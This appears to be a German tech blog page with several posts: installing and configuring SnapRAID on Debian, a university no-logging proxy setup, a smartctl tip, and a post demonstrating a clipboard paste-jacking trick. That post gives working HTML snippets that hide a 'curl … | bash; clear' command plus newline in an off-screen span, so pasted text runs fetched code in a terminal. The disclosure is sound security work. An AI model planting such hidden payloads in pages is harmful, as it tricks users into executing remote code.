SnapRAID unter Debian installieren

index
SnapRAID ist ein nicht standardisiertes RAID-Verfahren. Wie der Name andeutet, handelt es sich um ein Snapshot-RAID, ähnlich zu FlexRAID.

Der Autor charakterisiert es im Vergleich zu herkömmlichen RAID-Produkten dadurch, dass die Paritätsdaten nicht in Echtzeit aktualisiert werden. Dadurch ergeben sich besonders für Anwendungen die nicht unter Dauerlast stehen interessante Möglichkeiten.

Praktisch funktioniert SnapRAID wie ein RAID4 mit separater Paritätsdaten-Festplatte, deren Inhalt nur bei Bedarf aktualisiert wird. Dadurch ist SnapRAID zwischen herkömmlichen RAID-Systemen und Backups einzuordnen. Angesprochen werden SnapRAID-Volumes ähnliche wie JBOD-Konfigurationen, also jede Festplatte einzeln.

Im Unterschied zur kommerziellen Lösung FlexRAID bietet SnapRAID nur die Snapshot-Funktion. Es gibt seit Version 3.0 zwar eine Pooling-Funktion, um die einzelnen Festplatten als ein großes Volume ins Betriebssystem abzubilden, diese ist aber noch nicht ausgereift und verwendet symbolische Links. Auch Monitoring-Funktionen oder die Aufgabenplanung für die Erstellung von Snapshots oder eine grafische Oberfläche sucht man vergeblich. Diese Einfachheit ist sehr lobenswert und entspricht der UNIX-Philosophie.

Eine Konsequenz daraus ist, dass zwar keine Steigerung des Maximaldurchsatzes durch Lesen von mehreren Festplatten erreicht wird, dafür aber auch immer nur die Festplatten laufen müssen, von denen aktiv gelesen wird. In einem Fileserver mit mehreren dutzend Festplatten spart diese Eigenschaft eine Menge Strom.

In der Praxis werden alle Festplatten einzeln mit einem Dateisystem formatiert und eingebunden.

Diese Eigenschaft hilft auch beim Ausfall mehrerer Festplatten. SnapRAID kann sowohl mit einer als auch mit zwei Fesplatten für Paritätsdaten betrieben werden. Je nachdem dürfen dann eine oder zwei Festplatten ausfallen. Ein Vorteil der einzelnen Formatierung gegenüber herkömmlichen RAID-Verbünden ist, dass auch bei Ausfall mehrerer Festplatten die Daten von den intakten Festplatten weiterhin gelesen werden können.

Ein ausführlicher Vergleich verschiedener RAID-Systeme sowie den beliebten Volume-Managern ZFS und BTRFS bietet der Autor hier an. Fragen zu speziellen Funktionen von SnapRAID werden hier beantwortet.

Installation

Leider stehen noch keine Debian-Pakete für SnapRAID zur Verfügung, sodass das Programm per Hand kompiliert werden muss. Das geht mit dem Werkzeug checkinstall, dass ein rudimentäres Debian-Paket erstellt, leicht von der Hand.

apt-get install build-essential checkinstall
cd /usr/local/src/
wget -O snapraid.tar.gz http://sourceforge.net/projects/snapraid/files/snapraid-3.0.tar.gz/download
tar xvzf snapraid.tar.gz
cd snapraid-3.0/
./configure && make && make check

Nach Ausführung der Tests sollte folgende Bestätigung für das erfolgreiche Durchlaufen erscheinen.

No error
echo Success!
Success!
make[1]: Leaving directory `/usr/local/src/snapraid-3.0'

Daraufhin kann SnapRAID und die SnapRAID-Konfiguration installiert werden.

checkinstall make install
cp snapraid.conf.example /etc/snapraid.conf

Konfiguration

Die Einrichtung eines SnapRAID-Volumes ist denkbar einfach über die Konfigurationsdatei /etc/snapraid.conf zu steuern. Hier ein Beispiel als Vorlage.

# Paritaetsdaten-Datei auf eigener Festplatte
parity /storage/b2c07a05-a3e7-44ca-bc7a-1d29a0a2258a_parity/parity

# Hash-Indizes-Datei auf jeder nicht-Paritaetsdaten Festplatten
content /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/.content
content /storage/3c2b7a4d-aad1-4731-afac-51c163349726/.content
content /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/.content
content /storage/a3a5b302-9c69-465d-a910-839abd3fc553/.content

# Angabe der Namen und Pfade zu den Daten-Festplatten
disk 03e2a8fb-be5d-4791-a1d0-e42597771e57 /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/
disk 3c2b7a4d-aad1-4731-afac-51c163349726 /storage/3c2b7a4d-aad1-4731-afac-51c163349726/
disk 82191233-42e8-4cca-8f6d-ba9e0376e5e0 /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/
disk a3a5b302-9c69-465d-a910-839abd3fc553 /storage/a3a5b302-9c69-465d-a910-839abd3fc553/

exclude *.bak
exclude *.unrecoverable
exclude /tmp/
exclude /lost+found/

block_size 256

Hacking mit der Linux Zwischenablage

Ein auf Heise vorgestellter Copy&Paste Trick hat meine Aufmerksamkeit erregt. Dort wird beschrieben, wie durch Setzen eines <span>-Elements, dass in einen nicht sichtbaren Bereich verschoben wird, ahnungslosen Linux-/BSD-Nutzern Code untergeschoben werden kann. Der Trick funktioniert bei erschreckend vielen Browsern, wie ein kurzer Test zeigte.

Die getesteten Browser waren:

  • Firefox 20
  • Firefox 23.0a1
  • Opera 12.02
  • Opera 12.15
  • Chromium 25.0.1364.160

Jeweils mit xterm und dem XFCE Terminal in Version 0.4.8 unter verschiedenen Ubuntu-Versionen.

Entscheidend für die Effektivität des Tricks ist, dass die kopierten Befehle beim Einfügen unmittelbar ausgeführt werden. Dafür muss nur sichergestellt werden, dass ein Newline-Zeichen mit in der Zwischenablage landet. Ergänzt man den Tip von Heise durch ein solches Zeichen und fügt dem untergeschobenen Befehl ein clear an, wird der Tip direkt doppelt nützlich.

Beispiele

Hier zwei Varianten, die das gewünschte Ergebnis liefern.

<html>
<!-- notice the newline after the hidden command inserted using a html <br>  -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo <br></span> Hallo Welt!<br></pre></p>
</html>
<html>
<!-- notice the newline after the hidden command inserted using a raw newline -->
<p><pre>echo<span style="position: absolute; left: -1000px; top: -1000px"> ""; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo
</span> Hallo Welt!<br></pre></p>
</html>

Ergebnis

Bei Auswahl des scheinbar harmlosen Textes aus dem ersten Bild und Übertragung in einen Terminal-Emulator mittels mittlerer Maustaste oder STRG-V werden direkt Befehle ausgeführt.

Bildschirmfoto - 25.04.2013 - 15:23:13 Bildschirmfoto - 25.04.2013 - 15:25:00


UPDATE: Danke für die Unterstützung durch weitere Tests und die beiden Hinweise auf meine Fehler in der ersten Version dieses Posts. Als die Aufmerksamkeit zu Ende ging, war noch soviel Tag übrig.

No-Logging Elite-Proxy an der TU-Dortmund

[no_toc]
Normalerweise berichte ich nicht über die Dienste, die ich im Rahmen meiner Arbeit bei der Informatik-Rechner-Betriebsgruppe an der Fakultät für Informatik betreue. Das liegt daran, dass ich annehme, dass jeder Leser meines Blogs mit der Administration von Server-Diensten im produktiven Betrieb vertraut ist. Nichts spannendes, also.

Seit einigen Wochen läuft aber ein Privatsphären-Proxy (ugs. „Elite Proxy“) statt des bisher betriebenen Proxys im Rechnerraum der IRB.

proxy.cs.tu-dortmund.de

(Aus dem Fakultäts-Netzwerk erreichbar)

Elite Proxy
Ein Elite Proxy ist ein Proxy-Server, der sich nicht als Proxy zu erkennen gibt und für Webserver nur mit der eigenen IP-Adresse und nicht mit der IP-Adresse des Proxy-Nutzers in Erscheinung tritt.
(Quellen hier, hier und hier.)

Die Architektur unseres Proxys an der IRB geht aber einen Schritt weiter, als einfache Elite Proxys und gesteht den Nutzern weitere Anonymität zu. Dafür betreiben wir eine Proxykaskade aus Squid und Privoxy, die im Vergleich zu einem herkömmlichen Proxy-Server wie folgt aussieht.

eliteprox_irb

Deutlich zu erkennen sind die Unterschiede im Speicher-Subsystem und dem vorgeschalteten Privoxy. Die speziellen technischen Unterschiede sind in meinem Linux Magazin Artikel (lokale Kopie, nur Fakultäts-Netzwerk) beschrieben.

Squid

Der Squid-Proxy verhält sich in Voreinstellung konform zum Pseudostandard und sendet bei jeder Anfrage einen X-Forwarded-For Header, der die IP-Adresse des anfragenden Clients enhtält. Hierdurch wird die Anonymität aufgelöst. Darum wird in unserer Proxykaskade dieser Header gelöscht, sowie weitere Header die Informationen über den anfragenden Nutzer oder die anfragende IP enthalten entweder gesperrt oder verfremdet. Squid bietet für den Zweck nur die Möglichkeit, einen Header zu sperren, oder weiterzuleiten.

Privoxy

Um Privatsphäre ohne Einbuße von Komfort bereitstellen zu können, ist Privoxy notwendig. Der Header HTTP_REFER sendet dem Webserver in einer Anfrage die vorher aufgerufene Webseite.

Wechselt der Nutzer aber von einem Webshop-System auf die Suchmaschine Google, ist die Suchmaschine dank HTTP_REFERER in der Lage, die vorher aufgerufene URL zu speichern.

Die Auswertung des Referers wird von einigen Webseiten benötigt, um korrekt zu funktionieren, darum ist eine Sperrung nicht möglich. Dazu gehören Onlinebanking- und Webshop-Systeme. Da der Referer zum Ausspähen des Nutzers mißbraucht werden kann, wenn die Domain gewechselt wird, sperrt Privoxy nur in diesem Fall den Referer und setzt ihn auf die Domain der aufgerufenen Webseite.

Speicher-Subsystem

Der Squid-Proxy speichert in Voreinstellung umfangreiche Logdaten zur Anfrage, wie zum Beispiel die komplette URL mit etwaigen GET-Parametern, sowie die anfragende IP-Adresse und den verwendeten Browser. Darüber hinaus wird über eine zweite Logdatei aufgezeichnet, welches Objekt im Cache von welcher IP-Adresse zuerst angefragt wurde. So ist mit der Voreinstellung eine lückenlose Überwachung aller Nutzer möglich. Auch dieses Verhalten ist für einen Privatsphären-Proxy nicht wünschenswert.

Darum sind Logfiles komplett deaktiviert. Es werden nur Key Performance Indicators in einer Datenstruktur im Arbeitsspeicher vorgehalten, die das verursachte Datenvolumen den IP-Adressen zuordnen.

Der Cache ist darüber hinaus mit einem Zufallschlüssel in AES verschlüsselt, der bei jedem Neustart neu erzeugt wird, um auch eine statistische Zuordnung von verursachtem Datenvolumen zu Objekten (und damit aufgerufenen Webseiten) im Cache zu verhindern.

Um trotzdem im Falle eines Missbrauchs handlungsfähig zu bleiben, kann der komplette Datenverkehr eines Nutzers bei begründetem Verdacht protokolliert werden, ohne andere Nutzer zu beeinträchtigen.

S.M.A.R.T mit Toshiba STOR.E ALU

Kurzer Hinweis für das Auslesen der S.M.A.R.T Werte der per USB 3.0/2.0 anbindbaren Toshiba STOR.E ALU Festplatten-Serie. Es erscheint unter Linux bei Einsatz der smartmontool die Fehlermeldung Unknown USB bridge [0x0930:0x0b1a (0x001)].

Durch Wahl des Gerätetype (in diesem Fall sat) lässt sich das Gerät ansprechen und wie gewohnt auslesen.

smartctl --all -d sat /dev/sda